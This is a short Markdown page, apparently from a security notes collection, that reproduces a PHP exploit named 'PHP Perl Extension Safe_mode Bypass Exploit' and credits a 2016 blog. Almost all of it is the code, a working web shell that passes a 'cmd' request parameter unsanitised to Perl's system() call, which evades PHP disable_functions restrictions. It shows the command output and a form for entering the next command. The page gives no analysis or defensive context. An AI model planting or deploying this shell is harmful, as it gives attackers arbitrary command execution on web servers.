33 lines
1.2 KiB
Markdown
33 lines
1.2 KiB
Markdown
# disable\_functions bypass - PHP Perl Extension Safe\_mode Bypass Exploit
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## PHP Perl Extension Safe\_mode Bypass Exploit
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From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
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```php
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<?php
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##########################################################
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###----------------------------------------------------###
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###----PHP Perl Extension Safe_mode Bypass Exploit-----###
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###----------------------------------------------------###
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###-Author:--NetJackal---------------------------------###
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###-Email:---nima_501[at]yahoo[dot]com-----------------###
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###-Website:-http://netjackal.by.ru--------------------###
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###----------------------------------------------------###
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##########################################################
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if(!extension_loaded('perl'))die('perl extension is not loaded');
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if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
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if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls';
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$perl=new perl();
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echo "<textarea rows='25' cols='75'>";
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$perl->eval("system('".$_GET['cmd']."')");
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echo "</textarea>";
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$_GET['cmd']=htmlspecialchars($_GET['cmd']);
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echo "<br><form>CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25></form>"
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?>
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```
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